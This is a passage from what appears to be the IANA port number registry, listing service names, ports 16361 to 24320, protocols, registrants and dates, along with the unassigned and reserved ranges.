netserialext2 16361 udp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports Two
16362-16366 Unassigned
netserialext3 16367 tcp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports Three
netserialext3 16367 udp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports Three
netserialext4 16368 tcp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports Four
netserialext4 16368 udp Network Serial Extension [Michael_J_Hoy] [Michael_J_Hoy]
Ports Four
16369-16383 Unassigned
connected 16384 tcp Connected Corp [Nicole_C_Ouellette] [Nicole_C_Ouellette] 2004-02
connected 16384 udp Connected Corp [Nicole_C_Ouellette] [Nicole_C_Ouellette] 2004-02
rdgs 16385 tcp Reliable Datagram Sockets [Oracle_7] [Sowmini_Varadhan] 2015-04-30
16385 udp Reserved
16386-16618 Unassigned
xoms 16619 tcp X509 Objects Management [Francis_GASCHET] [Francis_GASCHET] 2008-09-08
Service
16619 udp Reserved
16620-16664 Unassigned
axon-tunnel 16665 tcp Reliable multipath data [Bridgeworks] [Paul_Burgess] 2014-09-26
transport for high latencies
16665 udp Reserved
16666 tcp Reserved
vtp 16666 udp Vidder Tunnel Protocol [Vidder_Inc] [Ted_Schroeder_2] 2011-10-24
16667-16788 Unassigned
This server provides
callable services to
cadsisvr 16789 tcp mainframe External Security [CA_Technologies] [Thomas_Sakowski] 2015-06-02
Managers from any TCP/IP
platform
16789 udp Reserved
16790-16899 Unassigned
newbay-snc-mc 16900 tcp Newbay Mobile Client Update [Srinivasa_Nayudu] [Srinivasa_Nayudu] 2009-07-06
Service
newbay-snc-mc 16900 udp Newbay Mobile Client Update [Srinivasa_Nayudu] [Srinivasa_Nayudu] 2009-07-06
Service
16901-16949 Unassigned
sgcip 16950 tcp Simple Generic Client [John_Aquilino] [John_Aquilino]
Interface Protocol
sgcip 16950 udp Simple Generic Client [John_Aquilino] [John_Aquilino]
Interface Protocol
16951-16990 Unassigned
intel-rci-mp 16991 tcp INTEL-RCI-MP [Jane_Dashevsky] [Jane_Dashevsky]
intel-rci-mp 16991 udp INTEL-RCI-MP [Jane_Dashevsky] [Jane_Dashevsky]
amt-soap-http 16992 tcp Intel(R) AMT SOAP/HTTP [David_T_Hines] [David_T_Hines] 2005-02
amt-soap-http 16992 udp Intel(R) AMT SOAP/HTTP [David_T_Hines] [David_T_Hines] 2005-02
amt-soap-https 16993 tcp Intel(R) AMT SOAP/HTTPS [David_T_Hines] [David_T_Hines] 2005-02
amt-soap-https 16993 udp Intel(R) AMT SOAP/HTTPS [David_T_Hines] [David_T_Hines] 2005-02
amt-redir-tcp 16994 tcp Intel(R) AMT Redirection/TCP [Nimrod_Diamant] [Nimrod_Diamant] 2005-02
amt-redir-tcp 16994 udp Intel(R) AMT Redirection/TCP [Nimrod_Diamant] [Nimrod_Diamant] 2005-02
amt-redir-tls 16995 tcp Intel(R) AMT Redirection/TLS [Nimrod_Diamant] [Nimrod_Diamant] 2005-02
amt-redir-tls 16995 udp Intel(R) AMT Redirection/TLS [Nimrod_Diamant] [Nimrod_Diamant] 2005-02
16996-17006 Unassigned
isode-dua 17007 tcp
isode-dua 17007 udp
17008-17183 Unassigned
vestasdlp 17184 tcp Vestas Data Layer Protocol [Vestas_Wind_Systems] [Teunis_de_Wit] 2013-10-30
17184 udp Reserved
soundsvirtual 17185 tcp Sounds Virtual [Richard_Snider] [Richard_Snider]
soundsvirtual 17185 udp Sounds Virtual [Richard_Snider] [Richard_Snider]
17186-17218 Unassigned
chipper 17219 tcp Chipper [Ronald_Jimmink] [Ronald_Jimmink]
chipper 17219 udp Chipper [Ronald_Jimmink] [Ronald_Jimmink]
IEEE 1722 Transport Protocol
avtp 17220 tcp for Time Sensitive [Transport_Protocol_for_Time-Sensitive_Networking_TG] [Ashley_Butterworth] 2014-03-07
Applications
IEEE 1722 Transport Protocol
avtp 17220 udp for Time Sensitive [Transport_Protocol_for_Time-Sensitive_Networking_TG] [Ashley_Butterworth] 2014-03-07
Applications
IEEE 1722.1 AVB Discovery,
avdecc 17221 tcp Enumeration, Connection [IEEE_1722_1] [Jeffrey_Daniel_Koftinoff] 2011-11-01
management, and Control
IEEE 1722.1 AVB Discovery,
avdecc 17221 udp Enumeration, Connection [IEEE_1722_1] [Jeffrey_Daniel_Koftinoff] 2011-11-01
management, and Control
17222 tcp Reserved
Control Plane
cpsp 17222 udp Synchronization Protocol [Randall_Stewart_2] [Randall_Stewart_2] 2011-11-10
(SPSP)
ISA100 GCI is a service
utilizing a common interface
isa100-gci 17223 tcp between an ISA100 Wireless [ISA100_Wireless_Compliance_Institute] [Jay_Werb] 2015-07-24
gateway and a client
application
17223 udp Reserved
trdp-pd 17224 udp Train Realtime Data Protocol [IEC_Central_Office] [Gianosvaldo_Fadin] 2015-07-24
(TRDP) Process Data
17224 tcp Reserved
trdp-md 17225 tcp Train Realtime Data Protocol [IEC_Central_Office] [Gianosvaldo_Fadin] 2015-07-24
(TRDP) Message Data
trdp-md 17225 udp Train Realtime Data Protocol [IEC_Central_Office] [Gianosvaldo_Fadin] 2015-07-24
(TRDP) Message Data
17226-17233 Unassigned
integrius-stp 17234 tcp Integrius Secure Tunnel [Christian_Klemetsson] [Christian_Klemetsson] 2010-03-04
Protocol
integrius-stp 17234 udp Integrius Secure Tunnel [Christian_Klemetsson] [Christian_Klemetsson] 2010-03-04
Protocol
ssh-mgmt 17235 tcp SSH Tectia Manager [Ville_Laurikari] [Ville_Laurikari] 2005-08
ssh-mgmt 17235 udp SSH Tectia Manager [Ville_Laurikari] [Ville_Laurikari] 2005-08
17236-17499 Unassigned
db-lsp 17500 tcp Dropbox LanSync Protocol [Paul_Bohm] [Paul_Bohm] 2010-01-21
db-lsp-disc 17500 udp Dropbox LanSync Discovery [Paul_Bohm] [Paul_Bohm] 2010-01-21
17501-17554 Unassigned
ailith 17555 tcp Ailith management of routers [Thomas_Boje] [Thomas_Boje] 2014-03-27
17555 udp Reserved
17556-17728 Unassigned
ea 17729 tcp Eclipse Aviation [William_Schmidt] [William_Schmidt] 2006-03
ea 17729 udp Eclipse Aviation [William_Schmidt] [William_Schmidt] 2006-03
17730-17753 Unassigned
zep 17754 tcp Encap. ZigBee Packets [Fred_Fierling] [Fred_Fierling] 2006-02
zep 17754 udp Encap. ZigBee Packets [Fred_Fierling] [Fred_Fierling] 2006-02
zigbee-ip 17755 tcp ZigBee IP Transport Service [Chris_Herzog] [Chris_Herzog] 2006-05
zigbee-ip 17755 udp ZigBee IP Transport Service [Chris_Herzog] [Chris_Herzog] 2006-05
zigbee-ips 17756 tcp ZigBee IP Transport Secure [Chris_Herzog] [Chris_Herzog] 2006-05
Service
zigbee-ips 17756 udp ZigBee IP Transport Secure [Chris_Herzog] [Chris_Herzog] 2006-05
Service
17757-17776 Unassigned
sw-orion 17777 tcp SolarWinds Orion [Joel_Dolisy] [Joel_Dolisy] 2008-09-10
17777 udp Reserved
17778-17999 Unassigned
biimenu 18000 tcp Beckman Instruments, Inc. [R_L_Meyering] [R_L_Meyering]
biimenu 18000 udp Beckman Instruments, Inc. [R_L_Meyering] [R_L_Meyering]
18001-18103 Unassigned
radpdf 18104 tcp RAD PDF Service [Christopher_Truxaw] [Christopher_Truxaw] 2010-10-15
18104 udp Reserved
18105-18135 Unassigned
racf 18136 tcp z/OS Resource Access Control [Bruce_Wells] [Bruce_Wells] 2010-10-04
Facility
18136 udp Reserved
18137-18180 Unassigned
opsec-cvp 18181 tcp OPSEC CVP [Alon_Kantor] [Alon_Kantor]
opsec-cvp 18181 udp OPSEC CVP [Alon_Kantor] [Alon_Kantor]
opsec-ufp 18182 tcp OPSEC UFP [Alon_Kantor] [Alon_Kantor]
opsec-ufp 18182 udp OPSEC UFP [Alon_Kantor] [Alon_Kantor]
opsec-sam 18183 tcp OPSEC SAM [Alon_Kantor] [Alon_Kantor]
opsec-sam 18183 udp OPSEC SAM [Alon_Kantor] [Alon_Kantor]
opsec-lea 18184 tcp OPSEC LEA [Alon_Kantor] [Alon_Kantor]
opsec-lea 18184 udp OPSEC LEA [Alon_Kantor] [Alon_Kantor]
opsec-omi 18185 tcp OPSEC OMI [Alon_Kantor] [Alon_Kantor]
opsec-omi 18185 udp OPSEC OMI [Alon_Kantor] [Alon_Kantor]
ohsc 18186 tcp Occupational Health SC [David_Fudge] [David_Fudge] 2003-08
ohsc 18186 udp Occupational Health Sc [David_Fudge] [David_Fudge] 2003-08
opsec-ela 18187 tcp OPSEC ELA [Alon_Kantor] [Alon_Kantor]
opsec-ela 18187 udp OPSEC ELA [Alon_Kantor] [Alon_Kantor]
18188-18240 Unassigned
checkpoint-rtm 18241 tcp Check Point RTM [Dudi_Hazan] [Dudi_Hazan]
checkpoint-rtm 18241 udp Check Point RTM [Dudi_Hazan] [Dudi_Hazan]
iclid 18242 tcp Checkpoint router monitoring [Check_Point_Software] [Rahul_Bahadur] 2012-06-28
18242 udp Reserved
clusterxl 18243 tcp Checkpoint router state [Check_Point_Software] [Rahul_Bahadur] 2012-06-28
backup
18243 udp Reserved
18244-18261 Unassigned
gv-pf 18262 tcp GV NetConfig Service [Scott_Libert] [Scott_Libert] 2008-01-29
gv-pf 18262 udp GV NetConfig Service [Scott_Libert] [Scott_Libert] 2008-01-29
18263-18462 Unassigned
ac-cluster 18463 tcp AC Cluster [Lisa_Zhong] [Lisa_Zhong]
ac-cluster 18463 udp AC Cluster [Lisa_Zhong] [Lisa_Zhong]
18464-18633 Unassigned
rds-ib 18634 tcp Reliable Datagram Service [Andy_Grover] [Andy_Grover] 2009-02-27
rds-ib 18634 udp Reliable Datagram Service [Andy_Grover] [Andy_Grover] 2009-02-27
rds-ip 18635 tcp Reliable Datagram Service [Andy_Grover] [Andy_Grover] 2009-05-20
over IP
rds-ip 18635 udp Reliable Datagram Service [Andy_Grover] [Andy_Grover] 2009-05-20
over IP
18636-18667 Unassigned
vdmmesh 18668 tcp Manufacturing Execution [Van_Doren_MES] [Edwin_van_de_Burgt] 2016-10-31
Systems Mesh Communication
vdmmesh-disc 18668 udp Manufacturing Execution [Van_Doren_MES] [Edwin_van_de_Burgt] 2016-10-31
Systems Mesh Communication
18669-18768 Unassigned
ique 18769 tcp IQue Protocol [Avi_Drissman] [Avi_Drissman] 2002-07
ique 18769 udp IQue Protocol [Avi_Drissman] [Avi_Drissman] 2002-07
18770-18880 Unassigned
infotos 18881 tcp Infotos [Marcel_Dube] [Marcel_Dube] 2004-11
infotos 18881 udp Infotos [Marcel_Dube] [Marcel_Dube] 2004-11
18882-18887 Unassigned
apc-necmp 18888 tcp APCNECMP [Michael_Yip] [Michael_Yip]
apc-necmp 18888 udp APCNECMP [Michael_Yip] [Michael_Yip]
18889-18999 Unassigned
igrid 19000 tcp iGrid Server [Massimo_Cafaro] [Massimo_Cafaro] 2004-11
igrid 19000 udp iGrid Server [Massimo_Cafaro] [Massimo_Cafaro] 2004-11
19001-19006 Unassigned
scintilla 19007 tcp Scintilla protocol for [Veejansh_Inc] [Chirag_Patel] 2014-03-04
device services
scintilla 19007 udp Scintilla protocol for [Veejansh_Inc] [Chirag_Patel] 2014-03-04
device services
19008-19019 Unassigned
j-link 19020 tcp J-Link TCP/IP Protocol [SEGGER] [SEGGER]
19020 udp Reserved
19021-19190 Unassigned
opsec-uaa 19191 tcp OPSEC UAA [Reuven_Harrison] [Reuven_Harrison]
opsec-uaa 19191 udp OPSEC UAA [Reuven_Harrison] [Reuven_Harrison]
19192-19193 Unassigned
ua-secureagent 19194 tcp UserAuthority SecureAgent [Reuven_Harrison_2] [Reuven_Harrison_2] 2003-01
ua-secureagent 19194 udp UserAuthority SecureAgent [Reuven_Harrison_2] [Reuven_Harrison_2] 2003-01
19195-19219 Unassigned
cora 19220 tcp Client Connection Management [Softvise_GmbH] [Ronny_Krüger] 2016-11-10
and Data Exchange Service
Discovery for Client
cora-disc 19220 udp Connection Management and [Softvise_GmbH] [Ronny_Krüger] 2016-11-10
Data Exchange Service
19221-19282 Unassigned
keysrvr 19283 tcp Key Server for SASSAFRAS [Mark_Valence] [Mark_Valence]
keysrvr 19283 udp Key Server for SASSAFRAS [Mark_Valence] [Mark_Valence]
19284-19314 Unassigned
keyshadow 19315 tcp Key Shadow for SASSAFRAS [Mark_Valence] [Mark_Valence]
keyshadow 19315 udp Key Shadow for SASSAFRAS [Mark_Valence] [Mark_Valence]
19316-19397 Unassigned
mtrgtrans 19398 tcp mtrgtrans [Katsuhito_Muroi] [Katsuhito_Muroi]
mtrgtrans 19398 udp mtrgtrans [Katsuhito_Muroi] [Katsuhito_Muroi]
19399-19409 Unassigned
hp-sco 19410 tcp hp-sco [Larry_Schwartz] [Larry_Schwartz]
hp-sco 19410 udp hp-sco [Larry_Schwartz] [Larry_Schwartz]
hp-sca 19411 tcp hp-sca [Larry_Schwartz] [Larry_Schwartz]
hp-sca 19411 udp hp-sca [Larry_Schwartz] [Larry_Schwartz]
hp-sessmon 19412 tcp HP-SESSMON [Gita_Murthy] [Gita_Murthy]
hp-sessmon 19412 udp HP-SESSMON [Gita_Murthy] [Gita_Murthy]
19413-19538 Unassigned
fxuptp 19539 tcp FXUPTP [Keiji_Okuma] [Keiji_Okuma] 2005-08
fxuptp 19539 udp FXUPTP [Keiji_Okuma] [Keiji_Okuma] 2005-08
sxuptp 19540 tcp SXUPTP [Keiji_Okuma] [Keiji_Okuma] 2002-08
sxuptp 19540 udp SXUPTP [Keiji_Okuma] [Keiji_Okuma] 2002-08
jcp 19541 tcp JCP Client [Yuji_Sasaki] [Yuji_Sasaki]
jcp 19541 udp JCP Client [Yuji_Sasaki] [Yuji_Sasaki]
19542-19787 Unassigned
mle 19788 udp Mesh Link Establishment [IESG] [IETF_Chair] 2012-12-18
19788 tcp Reserved
19789-19997 Unassigned
iec-104-sec 19998 tcp IEC 60870-5-104 process [Grant_Gilchrist] [Grant_Gilchrist] 2010-10-18
control - secure
19998 udp Reserved
dnp-sec 19999 tcp Distributed Network Protocol [Grant_Gilchrist] [Grant_Gilchrist] 2008-08-04
- Secure
dnp-sec 19999 udp Distributed Network Protocol [Grant_Gilchrist] [Grant_Gilchrist] 2008-08-04
- Secure
dnp 20000 tcp DNP [Michael_Thesing] [Michael_Thesing]
dnp 20000 udp DNP [Michael_Thesing] [Michael_Thesing]
microsan 20001 tcp MicroSAN [Thomas_E_Ludwig] [Thomas_E_Ludwig] 2004-02
microsan 20001 udp MicroSAN [Thomas_E_Ludwig] [Thomas_E_Ludwig] 2004-02
commtact-http 20002 tcp Commtact HTTP [Tomas_Svoboda] [Tomas_Svoboda] 2004-12
commtact-http 20002 udp Commtact HTTP [Tomas_Svoboda] [Tomas_Svoboda] 2004-12
commtact-https 20003 tcp Commtact HTTPS [Tomas_Svoboda] [Tomas_Svoboda] 2004-12
commtact-https 20003 udp Commtact HTTPS [Tomas_Svoboda] [Tomas_Svoboda] 2004-12
20004 Unassigned
openwebnet 20005 tcp OpenWebNet protocol for [BTicino_S_p_A] [BTicino_S_p_A] 2008-04-09
electric network
openwebnet 20005 udp OpenWebNet protocol for [BTicino_S_p_A] [BTicino_S_p_A] 2008-04-09
electric network
20006-20011 Unassigned
20012 tcp Reserved
ss-idi-disc 20012 udp Samsung Interdevice [Hong_Jungkih] [Hong_Jungkih]
Interaction discovery
ss-idi 20013 tcp Samsung Interdevice [Hong_Jungkih] [Hong_Jungkih]
Interaction
20013 udp Reserved
opendeploy 20014 tcp OpenDeploy Listener [Todd_Scallan] [Todd_Scallan] 2005-08
opendeploy 20014 udp OpenDeploy Listener [Todd_Scallan] [Todd_Scallan] 2005-08
20015-20033 Unassigned
NetBurner ID Port
nburn-id 20034 tcp IANA assigned this [Paul_Breed] [Paul_Breed] 2003-11
well-formed service name as
a replacement for
"nburn_id".
This entry is an alias to "nburn-id". This entry is now
nburn_id 20034 tcp NetBurner ID Port [Paul_Breed] [Paul_Breed] 2003-11 historic, not usable for use with many common service
discovery mechanisms.
NetBurner ID Port
nburn-id 20034 udp IANA assigned this [Paul_Breed] [Paul_Breed] 2003-11
well-formed service name as
a replacement for
"nburn_id".
This entry is an alias to "nburn-id". This entry is now
nburn_id 20034 udp NetBurner ID Port [Paul_Breed] [Paul_Breed] 2003-11 historic, not usable for use with many common service
discovery mechanisms.
20035-20045 Unassigned
tmophl7mts 20046 tcp TMOP HL7 Message Transfer [Tim_Riley] [Tim_Riley] 2009-07-31
Service
tmophl7mts 20046 udp TMOP HL7 Message Transfer [Tim_Riley] [Tim_Riley] 2009-07-31
Service
20047-20047 Unassigned
mountd 20048 tcp NFS mount protocol [Nicolas_Williams] [Nicolas_Williams] 2010-08-09
mountd 20048 udp NFS mount protocol [Nicolas_Williams] [Nicolas_Williams] 2010-08-09
nfsrdma 20049 tcp Network File System (NFS) 2017-09-05 [RFC8267]
over RDMA
nfsrdma 20049 udp Network File System (NFS) 2017-09-05 [RFC8267]
over RDMA
nfsrdma 20049 sctp Network File System (NFS) 2017-09-05 [RFC8267]
over RDMA
20050-20056 Unassigned
avesterra 20057 tcp AvesTerra Hypergraph [Georgetown_University] [J.C._Smart] 2016-06-06
Transfer Protocol (HGTP)
20057 udp Reserved
20058-20166 Unassigned
tolfab 20167 tcp TOLfab Data Change [Pierre_Couderc] [Pierre_Couderc] 2006-03
tolfab 20167 udp TOLfab Data Change [Pierre_Couderc] [Pierre_Couderc] 2006-03
20168-20201 Unassigned
ipdtp-port 20202 tcp IPD Tunneling Port [Vikki_Yin_Wei] [Vikki_Yin_Wei] 2003-01
ipdtp-port 20202 udp IPD Tunneling Port [Vikki_Yin_Wei] [Vikki_Yin_Wei] 2003-01
20203-20221 Unassigned
ipulse-ics 20222 tcp iPulse-ICS [Meggie_Garica_Woodru] [Meggie_Garica_Woodru]
ipulse-ics 20222 udp iPulse-ICS [Meggie_Garica_Woodru] [Meggie_Garica_Woodru]
20223-20479 Unassigned
emwavemsg 20480 tcp emWave Message Service [Harald_Striepe] [Harald_Striepe] 2008-02-14
emwavemsg 20480 udp emWave Message Service [Harald_Striepe] [Harald_Striepe] 2008-02-14
20481-20669 Unassigned
track 20670 tcp Track [Michael_Sweet] [Michael_Sweet]
track 20670 udp Track [Michael_Sweet] [Michael_Sweet]
20671-20998 Unassigned
athand-mmp 20999 tcp At Hand MMP [Stepan_Riha] [Stepan_Riha]
athand-mmp 20999 udp AT Hand MMP [Stepan_Riha] [Stepan_Riha]
irtrans 21000 tcp IRTrans Control [Marcus_Mueller] [Marcus_Mueller] 2004-11
irtrans 21000 udp IRTrans Control [Marcus_Mueller] [Marcus_Mueller] 2004-11
21001-21009 Unassigned
notezilla-lan 21010 tcp Notezilla.Lan Server [Conceptworld_Corporation] [Gautam_Jain] 2013-08-20
21010 udp Reserved
21011-21211 Unassigned
trinket-agent 21212 tcp Distributed artificial [Holvonix_LLC] [Advay_Mengle] 2017-11-29
intelligence
21212 udp Reserved
21213-21220 Unassigned
aigairserver 21221 tcp Services for Air Server [AIG_S.L.] [Edelmiro_Gonzalez_Martinez] 2017-03-16
21221 udp Reserved
21222-21552 Unassigned
rdm-tfs 21553 tcp Raima RDM TFS [Paul_Johnson] [Paul_Johnson] 2011-05-02
21553 udp Reserved
dfserver 21554 tcp MineScape Design File Server [Michael_Purser] [Michael_Purser] 2006-06
dfserver 21554 udp MineScape Design File Server [Michael_Purser] [Michael_Purser] 2006-06
21555-21589 Unassigned
vofr-gateway 21590 tcp VoFR Gateway [Marty_Borden] [Marty_Borden]
vofr-gateway 21590 udp VoFR Gateway [Marty_Borden] [Marty_Borden]
21591-21799 Unassigned
tvpm 21800 tcp TVNC Pro Multiplexing [Brian_Blevins] [Brian_Blevins]
tvpm 21800 udp TVNC Pro Multiplexing [Brian_Blevins] [Brian_Blevins]
21801-21844 Unassigned
webphone 21845 tcp webphone [Toby_Hosterman] [Toby_Hosterman]
webphone 21845 udp webphone [Toby_Hosterman] [Toby_Hosterman]
netspeak-is 21846 tcp NetSpeak Corp. Directory [Toby_Hosterman] [Toby_Hosterman]
Services
netspeak-is 21846 udp NetSpeak Corp. Directory [Toby_Hosterman] [Toby_Hosterman]
Services
netspeak-cs 21847 tcp NetSpeak Corp. Connection [Toby_Hosterman] [Toby_Hosterman]
Services
netspeak-cs 21847 udp NetSpeak Corp. Connection [Toby_Hosterman] [Toby_Hosterman]
Services
netspeak-acd 21848 tcp NetSpeak Corp. Automatic [Toby_Hosterman] [Toby_Hosterman]
Call Distribution
netspeak-acd 21848 udp NetSpeak Corp. Automatic [Toby_Hosterman] [Toby_Hosterman]
Call Distribution
netspeak-cps 21849 tcp NetSpeak Corp. Credit [Toby_Hosterman] [Toby_Hosterman]
Processing System
netspeak-cps 21849 udp NetSpeak Corp. Credit [Toby_Hosterman] [Toby_Hosterman]
Processing System
21850-21999 Unassigned
snapenetio 22000 tcp SNAPenetIO [Kevin_Kuhns] [Kevin_Kuhns]
snapenetio 22000 udp SNAPenetIO [Kevin_Kuhns] [Kevin_Kuhns]
optocontrol 22001 tcp OptoControl [Kevin_Kuhns] [Kevin_Kuhns]
optocontrol 22001 udp OptoControl [Kevin_Kuhns] [Kevin_Kuhns]
optohost002 22002 tcp Opto Host Port 2 [Doug_Leany] [Doug_Leany] 2006-09
optohost002 22002 udp Opto Host Port 2 [Doug_Leany] [Doug_Leany] 2006-09
optohost003 22003 tcp Opto Host Port 3 [Doug_Leany] [Doug_Leany] 2006-09
optohost003 22003 udp Opto Host Port 3 [Doug_Leany] [Doug_Leany] 2006-09
optohost004 22004 tcp Opto Host Port 4 [Doug_Leany] [Doug_Leany] 2006-09
optohost004 22004 udp Opto Host Port 4 [Doug_Leany] [Doug_Leany] 2006-09
optohost004 22005 tcp Opto Host Port 5 [Doug_Leany] [Doug_Leany] 2006-09
optohost004 22005 udp Opto Host Port 5 [Doug_Leany] [Doug_Leany] 2006-09
22006-22124 Unassigned
dcap 22125 tcp dCache Access Protocol [Christoph_Anton_Mitt] [Christoph_Anton_Mitt] 2009-03-10
22125 udp Reserved
22126-22127 Unassigned
gsidcap 22128 tcp GSI dCache Access Protocol [Christoph_Anton_Mitt] [Christoph_Anton_Mitt] 2009-03-10
22128 udp Reserved
22129-22221 Unassigned
EasyEngine is CLI tool to
easyengine 22222 tcp manage WordPress Sites on [rtCamp_Solutions_Private_Limited] [Rahul_Bansal] 2014-03-10
Nginx server
22222 udp Reserved
22223-22272 Unassigned
wnn6 22273 tcp wnn6 [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
wnn6 22273 udp wnn6 [Yasunari_Gon_Yamasit] [Yasunari_Gon_Yamasit]
22274-22304 Unassigned
cis 22305 tcp CompactIS Tunnel [Justin_Paupore] [Justin_Paupore] 2007-08-16
cis 22305 udp CompactIS Tunnel [Justin_Paupore] [Justin_Paupore] 2007-08-16
22306-22334 Unassigned
shrewd-control 22335 tcp Initium Labs Security and [Initium_Labs_LLC] [Manbir_Sahni] 2015-03-06
Automation Control
shrewd-stream 22335 udp Initium Labs Security and [Initium_Labs_LLC] [Manbir_Sahni] 2015-03-06
Automation Streaming
22336-22342 Unassigned
cis-secure 22343 tcp CompactIS Secure Tunnel [Justin_Paupore] [Justin_Paupore] 2007-08-16
cis-secure 22343 udp CompactIS Secure Tunnel [Justin_Paupore] [Justin_Paupore] 2007-08-16
22344-22346 Unassigned
wibukey 22347 tcp WibuKey Standard WkLan [Wolfgang_Voelker] [Wolfgang_Voelker] 2007-06
wibukey 22347 udp WibuKey Standard WkLan [Wolfgang_Voelker] [Wolfgang_Voelker] 2007-06
22348-22349 Unassigned
codemeter 22350 tcp CodeMeter Standard [Wolfgang_Voelker] [Wolfgang_Voelker] 2007-06
codemeter 22350 udp CodeMeter Standard [Wolfgang_Voelker] [Wolfgang_Voelker] 2007-06
TPC/IP requests of copy
codemeter-cmwan 22351 tcp protection software to a [WIBU-SYSTEMS_AG] [Wolfgang_Völker_2] 2013-06-25
server
22351 udp Reserved
22352-22536 Unassigned
caldsoft-backup 22537 tcp CaldSoft Backup server file [CaldSoft] [Mark_Caldwell] 2011-08-12
transfer
22537 udp Reserved
22538-22554 Unassigned
vocaltec-wconf 22555 tcp Vocaltec Web Conference [Scott_Petrack] [Scott_Petrack]
vocaltec-phone 22555 udp Vocaltec Internet Phone [Scott_Petrack] [Scott_Petrack]
22556-22762 Unassigned
talikaserver 22763 tcp Talika Main Server [Laxman_C_Marathe] [Laxman_C_Marathe] 2006-12
talikaserver 22763 udp Talika Main Server [Laxman_C_Marathe] [Laxman_C_Marathe] 2006-12
22764-22799 Unassigned
aws-brf 22800 tcp Telerate Information [Timo_Sivonen] [Timo_Sivonen]
Platform LAN
aws-brf 22800 udp Telerate Information [Timo_Sivonen] [Timo_Sivonen]
Platform LAN
22801-22950 Unassigned
brf-gw 22951 tcp Telerate Information [Timo_Sivonen] [Timo_Sivonen]
Platform WAN
brf-gw 22951 udp Telerate Information [Timo_Sivonen] [Timo_Sivonen]
Platform WAN
22952-22999 Unassigned
inovaport1 23000 tcp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
1
inovaport1 23000 udp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
1
inovaport2 23001 tcp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
2
inovaport2 23001 udp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
2
inovaport3 23002 tcp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
3
inovaport3 23002 udp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
3
inovaport4 23003 tcp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
4
inovaport4 23003 udp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
4
inovaport5 23004 tcp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
5
inovaport5 23004 udp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
5
inovaport6 23005 tcp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
6
inovaport6 23005 udp Inova LightLink Server Type [Chris_Koeritz_3] [Chris_Koeritz_3] 2006-10
6
23006-23052 Unassigned
gntp 23053 tcp Generic Notification [Growl_Project] [Chris_Forsythe] 2012-02-07
Transport Protocol
23053 udp Reserved
23054-23271 Unassigned
23272 tcp Reserved
s102 23272 udp S102 application [Kimmo_Kymalainen] [Kimmo_Kymalainen] 2009-08-26
23273-23293 Unassigned
5afe-dir 23294 tcp 5AFE SDN Directory [Ayoda_GmbH] [Laurenz_Eschwey] 2016-04-01
5afe-disc 23294 udp 5AFE SDN Directory discovery [Ayoda_GmbH] [Laurenz_Eschwey] 2016-04-01
23295-23332 Unassigned
elxmgmt 23333 tcp Emulex HBAnyware Remote [Maziar_Tamadon] [Maziar_Tamadon] 2007-11-06
Management
elxmgmt 23333 udp Emulex HBAnyware Remote [Maziar_Tamadon] [Maziar_Tamadon] 2007-11-06
Management
23334-23399 Unassigned
novar-dbase 23400 tcp Novar Data [Keith_Kilroy] [Keith_Kilroy] 2006-02
novar-dbase 23400 udp Novar Data [Keith_Kilroy] [Keith_Kilroy] 2006-02
novar-alarm 23401 tcp Novar Alarm [Keith_Kilroy] [Keith_Kilroy] 2006-02
novar-alarm 23401 udp Novar Alarm [Keith_Kilroy] [Keith_Kilroy] 2006-02
novar-global 23402 tcp Novar Global [Keith_Kilroy] [Keith_Kilroy] 2006-02
novar-global 23402 udp Novar Global [Keith_Kilroy] [Keith_Kilroy] 2006-02
23403-23455 Unassigned
aequus 23456 tcp Aequus Service [James_Anson] [James_Anson] 2009-02-12
23456 udp Reserved
aequus-alt 23457 tcp Aequus Service Mgmt [James_Anson] [James_Anson] 2009-02-12
23457 udp Reserved
23458-23545 Unassigned
areaguard-neo 23546 tcp AreaGuard Neo - WebServer [SODATSW_spol] [Roman_Štěpánek] 2012-05-31
23546 udp Reserved
23547-23999 Unassigned
med-ltp 24000 tcp med-ltp [Juergen_Fischbach] [Juergen_Fischbach]
med-ltp 24000 udp med-ltp [Juergen_Fischbach] [Juergen_Fischbach]
med-fsp-rx 24001 tcp med-fsp-rx [Juergen_Fischbach] [Juergen_Fischbach]
med-fsp-rx 24001 udp med-fsp-rx [Juergen_Fischbach] [Juergen_Fischbach]
med-fsp-tx 24002 tcp med-fsp-tx [Juergen_Fischbach] [Juergen_Fischbach]
med-fsp-tx 24002 udp med-fsp-tx [Juergen_Fischbach] [Juergen_Fischbach]
med-supp 24003 tcp med-supp [Juergen_Fischbach] [Juergen_Fischbach]
med-supp 24003 udp med-supp [Juergen_Fischbach] [Juergen_Fischbach]
med-ovw 24004 tcp med-ovw [Juergen_Fischbach] [Juergen_Fischbach]
med-ovw 24004 udp med-ovw [Juergen_Fischbach] [Juergen_Fischbach]
med-ci 24005 tcp med-ci [Juergen_Fischbach] [Juergen_Fischbach]
med-ci 24005 udp med-ci [Juergen_Fischbach] [Juergen_Fischbach]
med-net-svc 24006 tcp med-net-svc [Juergen_Fischbach] [Juergen_Fischbach]
med-net-svc 24006 udp med-net-svc [Juergen_Fischbach] [Juergen_Fischbach]
24007-24241 Unassigned
filesphere 24242 tcp fileSphere [Carl_Cedergren] [Carl_Cedergren]
filesphere 24242 udp fileSphere [Carl_Cedergren] [Carl_Cedergren]
24243-24248 Unassigned
vista-4gl 24249 tcp Vista 4GL [Mark_Itzcovitz] [Mark_Itzcovitz]
vista-4gl 24249 udp Vista 4GL [Mark_Itzcovitz] [Mark_Itzcovitz]
24250-24320 Unassigned
